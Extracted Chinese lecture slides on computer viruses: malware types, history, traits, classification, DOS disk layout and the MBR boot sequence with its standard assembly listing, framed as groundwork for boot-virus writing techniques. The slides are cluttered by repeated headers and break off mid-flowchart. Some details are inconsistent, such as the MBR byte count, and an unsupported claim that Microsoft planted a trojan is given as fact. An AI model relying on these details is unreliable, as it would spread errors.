版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡介
1、信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治第1章 惡意程序及其防范 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治計(jì)算機(jī)病毒是惡意程序的一種。所謂惡意程序,是指一類特殊的程序,它們通常在用戶不知曉也未授權(quán)的情況下潛入到計(jì)算機(jī)系統(tǒng)中來。惡意程序可以分為許多類型。圖1.1為按照有無自我復(fù)制功能和需要不需要宿主對惡意程序的分類情形。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治 陷門(Trap Doors)是進(jìn)入程序的一些秘密入口。陷門中有些是程序員為了進(jìn)行調(diào)試和測試而預(yù)留的一些特權(quán),有些則是系統(tǒng)漏洞。黑
2、客也挖空心思地設(shè)計(jì)陷門,以便以特殊的、不經(jīng)授權(quán)的方式進(jìn)入系統(tǒng)。陷門通常寄生于某些程序(有宿主),但無自我復(fù)制功能。 邏輯炸彈是嵌入某些合法程序的一段代碼,沒有自我復(fù)制功能,在某些條件下會(huì)執(zhí)行一個(gè)有害程序,造成一些破壞。 特洛伊木馬是計(jì)算機(jī)網(wǎng)絡(luò)中一種包含有害代碼的有用或表面上有用的程序或過程,激活時(shí)產(chǎn)生有害行為。它們不具備自我復(fù)制功能。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治 細(xì)菌是以自我繁殖為主要目的的程序。 蠕蟲是一種通過網(wǎng)絡(luò)自我復(fù)制的惡意程序。通常人們也把它稱為病毒的一種。因?yàn)椋湎x一旦被激活,可以表現(xiàn)得像細(xì)菌和病毒,可以向系統(tǒng)注入特洛伊木馬,或進(jìn)行任
3、何次數(shù)的破壞或毀滅行動(dòng)。典型的蠕蟲只會(huì)在內(nèi)存維持一個(gè)活動(dòng)副本。此外,蠕蟲是一個(gè)獨(dú)立程序,自身不改變?nèi)魏纹渌绦颍梢詳y帶具有改變其他程序的病毒。 其中,計(jì)算機(jī)病毒是所有計(jì)算機(jī)用戶在計(jì)算機(jī)安全問題上,經(jīng)常碰到的問題。在1999年Security Poral的報(bào)告中,排在計(jì)算機(jī)安全問題第一位的是計(jì)算機(jī)病毒事件,其次是與計(jì)算機(jī)病毒關(guān)系極為密切的黑客問題。所以本章以病毒為主,介紹惡意程序的特點(diǎn)及其防治。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治1.1 計(jì)算機(jī)病毒的概念計(jì)算機(jī)病毒的概念返回信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治1
4、.1.1 1.1.1 計(jì)算機(jī)病毒的特征計(jì)算機(jī)病毒的特征 人類發(fā)明了工具,改變了世界,也改變了人類自己。自20世紀(jì)40年代起,計(jì)算技術(shù)與電子技術(shù)的結(jié)合,使推動(dòng)人類進(jìn)步的工具從體力升華到了智力。計(jì)算機(jī)的出現(xiàn),將人類帶進(jìn)了信息時(shí)代,使人類生產(chǎn)力進(jìn)入了一個(gè)特別的發(fā)展時(shí)期。 計(jì)算機(jī)的靈魂是程序。正是建立在微電子載體上的程序,才將計(jì)算機(jī)的延伸到了人類社會(huì)的各個(gè)領(lǐng)域。“成也蕭何,敗也蕭何”。人的智慧可以創(chuàng)造人類文明,也可以破壞人類已經(jīng)創(chuàng)造的文明。隨著計(jì)算機(jī)系統(tǒng)設(shè)計(jì)技術(shù)向社會(huì)各個(gè)領(lǐng)域急劇擴(kuò)展,人們開發(fā)出了將人類帶入信息時(shí)代的計(jì)算機(jī)程序的同時(shí),也開發(fā)出了給計(jì)算機(jī)系統(tǒng)帶來副作用的計(jì)算機(jī)病毒程序。信息安全原理張基溫
5、電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治 在生物學(xué)界,病毒(virus)是一類沒有細(xì)胞結(jié)構(gòu)但有遺傳、復(fù)制等生命特征,主要由核酸和蛋白質(zhì)組成的有機(jī)體。 在中華人民共和國計(jì)算機(jī)信息系統(tǒng)安全保護(hù)條例中,計(jì)算機(jī)病毒(Computer Virus)被明確定義為:“計(jì)算機(jī)病毒,是指編制或者在計(jì)算機(jī)程序中插入的破壞計(jì)算機(jī)功能或者破壞數(shù)據(jù)、影響計(jì)算機(jī)使用,并且能夠自我復(fù)制的一組計(jì)算機(jī)指令或者程序代碼”。信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治 計(jì)算機(jī)病毒有一些與生物界中的病毒極為相似的特征,這也就是所以稱其為病毒的緣由。這些特征有如下一些。1. 傳染性 病
6、毒也是一種程序,它與其他程序的顯著不同之處,就是它的傳染性。與生物界中的病毒可以從一個(gè)生物體傳播到另一個(gè)生物體一樣,計(jì)算機(jī)病毒可以借助各種渠道從已經(jīng)感染的計(jì)算機(jī)系統(tǒng)擴(kuò)散到其他計(jì)算機(jī)系統(tǒng)。 早在1949年,計(jì)算機(jī)的先驅(qū)者Von Neumann 就在他的論文復(fù)雜自動(dòng)機(jī)組織論中,提出了計(jì)算機(jī)程序在內(nèi)存中自我復(fù)制的設(shè)想,勾畫了病毒程序的藍(lán)圖。1977年夏天,美國作家托馬斯捷瑞安在其幻想小說P-1的青春一書中構(gòu)思了一種能夠自我復(fù)制的計(jì)算機(jī)程序,第一次使用了“計(jì)算機(jī)病毒”的術(shù)語。所以自我復(fù)制應(yīng)當(dāng)是計(jì)算機(jī)病毒的主要特征。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治 20世紀(jì)
7、60年代初,美國貝爾實(shí)驗(yàn)室里,三個(gè)年輕的程序員編寫了一個(gè)名為“磁芯大戰(zhàn)”的游戲,游戲中通過復(fù)制自身來擺脫對方的控制,這就是計(jì)算機(jī)“病毒”的雛形。 1983年美國計(jì)算機(jī)專家弗雷德科恩博士研制出一種在運(yùn)行過程中可以自我復(fù)制的具有破壞性的程序,并在同年11月召開的國際計(jì)算機(jī)安全學(xué)術(shù)研討會(huì),首次將病毒程序在VAX/750計(jì)算機(jī)上進(jìn)行了實(shí)驗(yàn)。世界上第一個(gè)計(jì)算機(jī)病毒就這樣出生在實(shí)驗(yàn)室中。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治 20世紀(jì)80年代初,計(jì)算機(jī)病毒(如“巴基斯坦智囊”病毒)主要感染軟盤的引導(dǎo)區(qū)。20世紀(jì)80年代末,出現(xiàn)了感染硬盤的病毒(如“大麻”病毒)。20
8、世紀(jì)90年代初,出現(xiàn)了感染文件的病毒(如“Jerusalem,黑色13號(hào)星期五”病毒)。接著出現(xiàn)了引導(dǎo)區(qū)和文件型“雙料”病毒,既感染磁盤引導(dǎo)區(qū)又感染可執(zhí)行文件。20世紀(jì)90年代中期,稱為“病毒生產(chǎn)機(jī)”的軟件開始出現(xiàn),使病毒的傳播不再是簡單的自我復(fù)制,而是可以自動(dòng)、輕易地自動(dòng)生產(chǎn)出大量的“同族”新病毒。這些病毒代碼長度各不相同,自我加密、解密的密鑰也不相同,原文件頭重要參數(shù)的保存地址不同,病毒的發(fā)作條件和現(xiàn)象不同。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治 1995年大量具有相同“遺傳基因”的“同族”病毒的涌現(xiàn),標(biāo)志著“病毒生產(chǎn)機(jī)”軟件已出現(xiàn)。目前國際上已有上
9、百種“病毒生產(chǎn)機(jī)”軟件。這種“病毒生產(chǎn)機(jī)”軟件不用絞盡腦汁地去編程序,便可以輕易地自動(dòng)生產(chǎn)出大量的“同族”新病毒。這些病毒代碼長度各不相同,自我加密、解密的密鑰也不相同,原文件頭重要參數(shù)的保存地址不同,病毒的發(fā)作條件和現(xiàn)象不同,但主體構(gòu)造和原理基本相同。這就是病毒的衍生性。 與此同時(shí),Internet的發(fā)展,也為病毒的快速傳播提供了方便途徑。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治2. 潛伏性 計(jì)算機(jī)病毒通常是由技術(shù)高超者編寫的比較完美的、精巧嚴(yán)謹(jǐn)、短小精悍的程序。它們常常按照嚴(yán)格的秩序組織,與所在的系統(tǒng)網(wǎng)絡(luò)環(huán)境相適應(yīng)、相配合。病毒程序一旦取得系統(tǒng)控制權(quán),
10、可以在極短的時(shí)間內(nèi)傳染大量程序。但是,被感染的程序并不是立即表現(xiàn)出異常,而是潛伏下來,等待時(shí)機(jī)。 除了不發(fā)作外,計(jì)算機(jī)病毒的潛伏還依賴于其隱蔽性。為了隱蔽,病毒通常非常短?。ㄒ话阒挥袔装倩?K字節(jié),此外還寄生于正常的程序或磁盤較隱蔽的地方,也有個(gè)別以隱含文件形式存在,使人不經(jīng)過代碼分析很難被發(fā)覺。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治 20世紀(jì)90年代初,計(jì)算機(jī)病毒開始具有對抗機(jī)制。例如Yankee Doole病毒,當(dāng)它發(fā)現(xiàn)有人用Debug工具跟蹤它,就會(huì)自動(dòng)從文件中逃走。此外還相繼出現(xiàn)了一些能對自身進(jìn)行簡單加密的病毒,如1366(DaLian)、182
11、4(N64)、1741(Dong)、1100等。加密的目的主要是防止跟蹤或掩蓋有關(guān)特征等。例如在內(nèi)存有1741病毒時(shí),用DIR列目錄表,病毒會(huì)掩蓋被感染文件所增加的字節(jié)數(shù),使人看起來字節(jié)數(shù)很正常。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治3. 寄生性 寄生是病毒的重要特征。計(jì)算機(jī)病毒一般寄生在以下地方:(1)寄生在可執(zhí)行程序中。一旦程序執(zhí)行,病毒就被激活,病毒程序首先被執(zhí)行并常駐內(nèi)存,然后置觸發(fā)條件。感染的文件被執(zhí)行后,病毒就會(huì)趁機(jī)感染下一個(gè)文件。 文件型病毒可以分為源碼型病毒、嵌入型病毒和外殼型病毒。源碼型病毒是用高級(jí)語言編寫的,不進(jìn)行編譯、鏈接,就無法傳
12、染擴(kuò)散。嵌入型病毒是嵌入在程序的中間,只能針對某些具體程序。外殼型病毒寄生在宿主程序的前面或后面,并修改程序的第1條指令,使病毒先于宿主程序執(zhí)行,以便一執(zhí)行宿主程序就傳染一次。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(2)寄生在硬盤的主引導(dǎo)扇區(qū)中。這類病毒也稱引導(dǎo)型病毒。任何操作系統(tǒng)都有自舉過程,自舉依靠引導(dǎo)模塊進(jìn)行,而操作系統(tǒng)的引導(dǎo)模塊總是放在某個(gè)固定位置,這樣系統(tǒng)每次啟動(dòng)就會(huì)在這個(gè)固定的地方來將引導(dǎo)模塊讀入內(nèi)存,緊接著就執(zhí)行它,來把操作系統(tǒng)讀入內(nèi)存,實(shí)現(xiàn)控制權(quán)的轉(zhuǎn)接。引導(dǎo)型病毒程序就是利用這一點(diǎn),它自身占據(jù)了引導(dǎo)扇區(qū)而將原來的引導(dǎo)扇區(qū)的內(nèi)容和病毒的其他
13、部分放到磁盤的其他空間,并將這些扇區(qū)標(biāo)志為壞簇,不可寫其他信息。這樣,系統(tǒng)的一次初始化,就激活一次病毒,它首先將自身拷貝到內(nèi)存,等待觸發(fā)條件到來。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治 引導(dǎo)型病毒按其寄生對象,可以分為MBR(主引導(dǎo)區(qū))病毒和BR(引導(dǎo)區(qū))病毒。MBR病毒也稱分區(qū)病毒,這類病毒寄生在硬盤分區(qū)主引導(dǎo)程序所占據(jù)的硬盤0頭0柱面第1扇區(qū),典型的有Stoned(大麻)病毒、2708病毒等。BR病毒則寄生在硬盤邏輯0扇區(qū)或軟盤0扇區(qū)(即0面0道的第1扇區(qū)),典型的有Brain病毒、小球病毒等。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教
14、案病毒及其防治及其防治4. 觸發(fā)性 潛伏下來的計(jì)算機(jī)病毒一般要在一定的條件下才被激活,發(fā)起攻擊。病毒具有判斷這個(gè)條件的功能。(1)日期/時(shí)間觸發(fā)。 (2)計(jì)數(shù)器觸發(fā).(3)鍵盤觸發(fā).(4)啟動(dòng)觸發(fā).(5)感染觸發(fā).(6)組合條件觸發(fā): 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治5. 非授權(quán)執(zhí)行性 用戶在調(diào)用一個(gè)程序時(shí),常常就把系統(tǒng)的控制權(quán)交給這個(gè)程序并給它分配相應(yīng)的系統(tǒng)資源,使程序的執(zhí)行對用戶是透明的。計(jì)算機(jī)病毒具有正常程序所具有的一切特性,它隱蔽在合法程序和數(shù)據(jù)中;當(dāng)用戶運(yùn)行正常程序時(shí),病毒伺機(jī)取得系統(tǒng)的控制權(quán),先于正常程序執(zhí)行,并對用戶呈透明狀態(tài)。 信息安
15、全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治6. 破壞性(1)占用CPU資源,額外占用或消耗內(nèi)存空間,或禁止分配內(nèi)存、蠶食內(nèi)存,導(dǎo)致一些大型程序執(zhí)行受阻,使系統(tǒng)性能下降。(2)干擾系統(tǒng)運(yùn)行,例如不執(zhí)行命令、干擾內(nèi)部命令的執(zhí)行、虛發(fā)報(bào)警信息、打不開文件、內(nèi)部棧溢出、占用特殊數(shù)據(jù)區(qū)、時(shí)鐘倒轉(zhuǎn)、重啟動(dòng)、死機(jī)、文件無法存盤、文件存盤時(shí)丟失字節(jié)、內(nèi)存減小、格式化硬盤等。(3)攻擊CMOS。CMOS是保存系統(tǒng)參數(shù)(如系統(tǒng)時(shí)鐘、磁盤類型、內(nèi)存容量等)的重要場所。有的病毒(如CIH病毒)可以通過改寫CMOS參數(shù),破壞系統(tǒng)硬件的運(yùn)行。(4)攻擊系統(tǒng)數(shù)據(jù)區(qū)。硬盤的主引導(dǎo)扇區(qū)、boot(引
16、導(dǎo))扇區(qū)、FAT(文件分配)表、文件目錄等,是系統(tǒng)重要的數(shù)據(jù),這些數(shù)據(jù)一旦受損,將造成相關(guān)文件的破壞。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(5)干擾外部設(shè)備運(yùn)行,如 干擾鍵盤操作。如EDV病毒能封鎖鍵盤,使按任何鍵都沒有反應(yīng);還有病毒產(chǎn)生換字、抹掉緩存區(qū)字符、輸入紊亂等。 干擾屏幕顯示。如小球病毒產(chǎn)生跳動(dòng)的小白點(diǎn);瀑布病毒使顯示的字符像雨點(diǎn)一樣一個(gè)個(gè)落到屏幕底部等。 干擾聲響。如感染Attention病毒后,每按一鍵,喇叭就響一聲;Yankee Doodle病毒在每天下午5時(shí)整會(huì)播出歌曲“Yankee Doodle”;救護(hù)車病毒(Ambulance C
17、ar)會(huì)在屏幕上出現(xiàn)一輛鳴著警笛來回跑的救護(hù)車。 干擾打印機(jī)。如Azsua病毒可以封鎖打印機(jī)接口LPT1,當(dāng)使用打印機(jī)時(shí),會(huì)發(fā)出缺紙的假報(bào)警;1024SBC病毒會(huì)使打印機(jī)出現(xiàn)斷斷續(xù)續(xù)的打印失常;Typo-COM病毒會(huì)更換字符。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(6)攻擊文件。現(xiàn)在發(fā)現(xiàn)的病毒中,大多數(shù)是文件型病毒。這些病毒會(huì)使染毒文件的長度、文件存盤時(shí)間和日期發(fā)生變化。例如,百年病毒、4096病毒等。(7)劫取機(jī)密數(shù)據(jù)。例如,微軟公司在它的Microsoft Network中加入一種特洛伊木馬程序,會(huì)把用戶系統(tǒng)軟件和硬件的完整清單送回到微軟公司。(8)
18、破壞網(wǎng)絡(luò)系統(tǒng)的正常運(yùn)行。例如發(fā)送垃圾郵件、占用帶寬,使網(wǎng)絡(luò)拒絕服務(wù)等。 有些病毒的破壞作用往往是多樣的。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治1.1.2 計(jì)算機(jī)病毒分類 1. 按照所攻擊的操作系統(tǒng)分類 DOS病毒:攻擊DOS系統(tǒng)。 UNIX/Linux病毒:攻擊UNIX或Linux系統(tǒng)。 Windows病毒:攻擊Windows系統(tǒng),如CIH病毒。 OS/2病毒:攻擊OS/2系統(tǒng)。 Macintosh病毒:攻擊Macintosh系統(tǒng),如Mac.simpsons病毒。 手機(jī)病毒。信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治2.
19、 按照寄生方式和傳染途徑分類(1)引導(dǎo)型病毒。引導(dǎo)型病毒在系統(tǒng)初始化時(shí)自動(dòng)裝入內(nèi)存,然后簡單地將指令指針(指令計(jì)數(shù)器的內(nèi)容)修改到一個(gè)存儲(chǔ)系統(tǒng)指令的新的位置。 主引導(dǎo)區(qū)(master boot record,MBR)病毒,寄生在硬盤分區(qū)主引導(dǎo)程序所在的硬盤的0柱面0磁道1扇區(qū),也稱分區(qū)病毒,如大麻病毒、2708病毒等。 引導(dǎo)區(qū)(boot record,BR)病毒,寄生在硬盤邏輯0扇區(qū)或軟盤邏輯0扇區(qū),即0面0道1扇區(qū),如Brain病毒和小球病毒等。信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(2)文件型病毒。傳播病毒的文件可以分為三類:可執(zhí)行文件,即擴(kuò)展名為 .
20、COM,.EXE,.PE,.BAT,.SYS,.OVL等的文件。 文檔文件或數(shù)據(jù)文件,例如Word文檔,Exel文檔,Accss數(shù)據(jù)庫文件。宏病毒(Macro)就感染這些文件。 Web文檔,如.html文檔和.htm文檔。已經(jīng)發(fā)現(xiàn)的Web病毒有HTML/Prepend和HTML/Redirect等。按照駐留內(nèi)存的方式,文件型病毒可以分為: 駐留(Resident)病毒:復(fù)制病毒裝入內(nèi)存后,發(fā)現(xiàn)另一個(gè)系統(tǒng)運(yùn)行的程序文件后進(jìn)行傳染。駐留病毒又可進(jìn)一步分為高端駐留型、常規(guī)駐留型、內(nèi)存控制鏈駐留型、設(shè)備程序補(bǔ)丁駐留型。 非駐留(Nonrresident)病毒:病毒選擇磁盤上一個(gè)或多個(gè)文件,不等它們裝入
21、內(nèi)存,就直接進(jìn)行感染。信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(3)目錄型病毒。是文件型病毒的一種特例,它們僅修改目錄區(qū),如DIR2病毒。(4)引導(dǎo)兼文件型病毒。這類病毒在文件感染時(shí)還伺機(jī)感染 引 導(dǎo) 區(qū) , 例 如CANCER病毒、HAMMER 病毒等。(5)CMOS病毒。CMOS是保存系統(tǒng)參數(shù)和配置的重要地方,它也存在一些沒有使用的空間。CMOS病毒就隱藏在這一空間中,從而可以躲避磁盤的格式化清除。信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治3. 按照傳播媒介分類 單機(jī)病毒:以磁盤為傳染媒介。 網(wǎng)絡(luò)病毒:以網(wǎng)絡(luò)中的傳輸?shù)拿?/p>
22、令或數(shù)據(jù)作為媒介。信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治4. 按照計(jì)算機(jī)病毒的鏈接方式分類(1)源碼型病毒。攻擊高級(jí)語言編寫的程序,在被攻擊程序編譯前插入進(jìn)來,并在編譯后成為合法程序的一部分。(2)嵌入型病毒。計(jì)算機(jī)病毒的主體與被攻擊對象以插入方式鏈接,把自己嵌入到攻擊對象中。這類病毒程序編寫難度大,清除也難。(3)外殼(shell)病毒。這類病毒程序這類病毒通常附加在正常程序的頭部或尾部,相當(dāng)于給程序添加了一個(gè)外殼,在被感染的程序執(zhí)行時(shí),病毒代碼先被執(zhí)行,然后才將正常程序調(diào)入內(nèi)存。目前大多數(shù)文件型的病毒屬于這一類。(4)譯碼型病毒。隱藏在微軟的offic
23、e、AmiPro文檔中,如宏病毒、腳本病毒等(VBS/WSH/JS)等。(5)操作系統(tǒng)型病毒。這類病毒意圖用自己的代碼加入或取代操作系統(tǒng)的某些模塊,具有很強(qiáng)的破壞性,例如小球病毒、大麻病毒等。信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治5. 按照破壞能力分類按照病毒的破壞能力,可將病毒劃分為以下幾類: 無害型:除了傳染時(shí)減少磁盤的可用空間外,對系統(tǒng)沒有其它影響。 無危險(xiǎn)型:這類病毒僅僅是減少內(nèi)存、顯示圖像、發(fā)出聲音及同類音響。 危險(xiǎn)型:這類病毒在計(jì)算機(jī)系統(tǒng)操作中造成嚴(yán)重的錯(cuò)誤。 非常危險(xiǎn)型:這類病毒刪除程序、破壞數(shù)據(jù)、清除系統(tǒng)內(nèi)存區(qū)和操作系統(tǒng)中重要的信息。信息安
24、全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治1.1.3 1.1.3 計(jì)算機(jī)病毒的結(jié)構(gòu)計(jì)算機(jī)病毒的結(jié)構(gòu)計(jì)算機(jī)病毒的種類很多,但是它們的主要結(jié)構(gòu)是類似的,一般需要包含3部分:隱藏部分、傳染部分和表現(xiàn)部分分。(1)隱藏部分:就是病毒程序的初始化部分。它的作用是將病毒的主體加載到內(nèi)存,為傳染部分做準(zhǔn)備(如駐留內(nèi)存、修改中斷、修改高端內(nèi)存、保存原中斷向量等操作)。(2)傳染部分:作用是將病毒代碼復(fù)制到傳染目標(biāo)上去。傳染需要一定的條件。不同類型的病毒在傳染方式、傳染條件上各不相同。進(jìn)行傳播之前,先要判斷傳染條件。(3)表現(xiàn)部分:作用是在被傳染系統(tǒng)上表現(xiàn)出特定現(xiàn)象。大部分病毒都是在
25、一定條件下才會(huì)觸發(fā)表現(xiàn)部分的。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治1.2 計(jì)算機(jī)病毒編制的關(guān)鍵技術(shù) 返回信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治1.3.1 1.3.1 DOSDOS引導(dǎo)型病毒編制的關(guān)鍵技術(shù)引導(dǎo)型病毒編制的關(guān)鍵技術(shù)1. DOS系統(tǒng)的結(jié)構(gòu)DOS系統(tǒng)由以下4部分組成:(1)引導(dǎo)記錄(Boot Record)。用于將IO.SYS模塊裝入內(nèi)存。(2)IO.SYS(DOS的基本輸入輸出模塊BIOS),由下面兩塊組成: 系統(tǒng)初始化程序SYSINIT,完成初始化工作,主要包括:確定系統(tǒng)設(shè)備配置和內(nèi)存容量;初始化串、I
26、/O并口;計(jì)算后面模塊的裝入位置并將MSDOS.SYS和裝入內(nèi)存;設(shè)置系統(tǒng)參數(shù),加載設(shè)置驅(qū)動(dòng)程序。 標(biāo)準(zhǔn)字符和塊設(shè)備驅(qū)動(dòng)程,用于支持基本輸入輸出操作。(3)MSDOS.SYS(DOS的內(nèi)核),提供應(yīng)用程序管理、內(nèi)存管理、文件管理等。(4)(DOS的外殼),是用戶與操作系統(tǒng)的接口。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治DOS格式化磁盤由4個(gè)區(qū)域組成: 主引導(dǎo)扇區(qū)、 文件分配表(FAT)、 根目錄表(Root Directory Table,F(xiàn)DT) 文件數(shù)據(jù)區(qū)(Data Area)2. 硬盤存儲(chǔ)結(jié)構(gòu) 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案
27、病毒及其防治及其防治保留分區(qū)信息1(16字節(jié))分區(qū)信息2(16字節(jié))分區(qū)信息3(16字節(jié))分區(qū)信息4(16字節(jié))55(1字節(jié))AA(1字節(jié))008A01BD01BE01CD01CE01DD01DE01ED01EE01FD01FE主分區(qū)表DPT引導(dǎo)扇區(qū)標(biāo)記主引導(dǎo)記錄MBR(446字節(jié))啟動(dòng)字符串主引導(dǎo)記錄啟動(dòng)程序0000008B00D900DAD01FF信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治 主引導(dǎo)扇區(qū)位于硬盤的0柱面0磁道1扇區(qū),存放:主引導(dǎo)記錄(main boot record,MBR)硬盤主分區(qū)表(Disk Partition Table, DPT)引
28、導(dǎo)扇區(qū)標(biāo)記(boot record ID)信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(1)主引導(dǎo)記錄(MBR)占用引導(dǎo)扇區(qū)的前466個(gè)字節(jié)(000001BD),作用是檢查分區(qū)表是否正確以及確定哪個(gè)分區(qū)為引導(dǎo)分區(qū)(要將控制權(quán)交給的操作系統(tǒng)所在分區(qū)),并在程序結(jié)束時(shí)把該分區(qū)的啟動(dòng)程序(即操作系統(tǒng)引導(dǎo)程序)調(diào)入內(nèi)存加以執(zhí)行。信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治在DOS的啟動(dòng)過程中,中斷服務(wù)程序INT 19H(自舉程序)將引導(dǎo)記錄 調(diào)入內(nèi)存的0000H7C00H處,并把控制權(quán)交給它。這時(shí),引導(dǎo)記錄將檢查啟動(dòng)盤上是否有DOS系統(tǒng),
29、即根目錄中的前兩個(gè)文件是否為IO.SYS和MSDOS.SYS。若是,則把文件IO.SYS讀入到內(nèi)存的70H0H處,并把主控制權(quán)交給IO.SYS;否則給出非系統(tǒng)盤的錯(cuò)誤信息。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(2)磁盤主分區(qū)表(DPT)中記錄了磁盤的基本分區(qū)信息。它占用的64字節(jié),分為4個(gè)分區(qū)項(xiàng),分別記錄了每個(gè)主分區(qū)的信息。信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(3)引導(dǎo)區(qū)標(biāo)記55AA,占用兩個(gè)字節(jié),用于判斷引導(dǎo)區(qū)是否合法。信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治3. DOS的自
30、舉過程ROMBIOSDOS引導(dǎo)程序IO.SYSMSDOS.SYS用戶 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治主引導(dǎo)記錄程序的基本功能是讀出自舉分區(qū)的BOOT程序,并把控制權(quán)轉(zhuǎn)移到分區(qū)BOOT程序。在這一過程中,關(guān)鍵性的技術(shù)有:(1)將本來要讀入到0000:7C00H處的硬盤主引導(dǎo)記錄程序轉(zhuǎn)移到0000:0600H處。代碼段如下: 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治偏移機(jī)器碼 符號(hào)指令說明 0000FAcli ; 屏蔽中斷000133C0 xor ax,ax;00038ED0mov ss,ax; (ss)=0000H
31、0005BC007Cmov sp,7c00; (sp)= 7C00H00088BF4mov si,sp; (si)= 7C00H000A50push ax;000B07pop es; (es)=0000H000C50push ax;000D1Fpop ds; (ds)=0000H000EFBsti;000FFCcld;0010BF0006mov di,0600;0013890001mov cx,0100;0016F2repnz;A5movsw ; 主引導(dǎo)程序把自己從0000:7c00處 搬 移 到0000:0600處, ; 為DOS分區(qū)的引導(dǎo)程序騰出空間 信息安全原理張基溫電子教案病毒信息安全
32、原理張基溫電子教案病毒及其防治及其防治(2)順序讀入4個(gè)分區(qū)表的自舉標(biāo)志,以找出自舉分區(qū):若找不到,就轉(zhuǎn)向執(zhí)行INT 18H的BOOT異常,執(zhí)行異常中斷程序。偏移機(jī)器碼符號(hào)指令說明001DBEBE07mov si,07be; 分區(qū)表首地址01BE=07BE-06000020B304mov bl, 04; 最多4個(gè)分區(qū)0022803C80cmp byte ptrsi,80; 80H表示活動(dòng)分區(qū)0025740Ejz 0035 ; 找到活動(dòng)分區(qū)則跳走0027803C00cmp byte ptrsi,00; 00H表示有效分區(qū)002A751Cjnz 0048 ; 非80H,也非00H,為無效分區(qū)002
33、C83C610add si,+10 ;下一個(gè)分區(qū)表項(xiàng),每項(xiàng)16(10H)字節(jié)002FFECBdec bl ; 循環(huán)計(jì)數(shù)減1003175EFjnz 0022 ; 檢查下一個(gè)分區(qū)表項(xiàng)0033CD18int 18 ; 4個(gè)都不可引導(dǎo),進(jìn)入ROM BIOS00358B14mov dx,si00378B4C02mov cx,si+02 ;取分區(qū)的引導(dǎo)扇區(qū)的柱面、扇區(qū)活動(dòng)003A8BEEmov bp,si ; 繼續(xù)檢查后面的分區(qū)表項(xiàng)003C83C610add si,+10信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(3)找到自舉分區(qū)后,檢測該分區(qū)的標(biāo)志:如果是32位或16位
34、FAT,并支持13號(hào)中斷的擴(kuò)展功能,就轉(zhuǎn)到執(zhí)行13號(hào)中斷的41號(hào)功能調(diào)用,進(jìn)行安裝檢測;檢測成功,就執(zhí)行42號(hào)擴(kuò)展功能調(diào)用,把BOOT程序讀入到內(nèi)存0000:7c00H處。讀入成功,就執(zhí)行0000:7c00H處的程序;讀入失敗,就調(diào)用13號(hào)中斷的讀扇區(qū)功能,把BOOT程序讀入到內(nèi)存0000:7c00H處。信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治4. 引導(dǎo)型病毒的傳染過程引導(dǎo)型病毒制駐留在硬盤的主引導(dǎo)分區(qū)或硬/軟盤的DOS引導(dǎo)分區(qū)的病毒。它的感染過程分兩大步:裝入內(nèi)存和攻擊。系統(tǒng)加電或復(fù)位進(jìn)入ROM-BIOS讀引導(dǎo)至0000:7C00H并執(zhí)行自舉完成系統(tǒng)復(fù)位讀
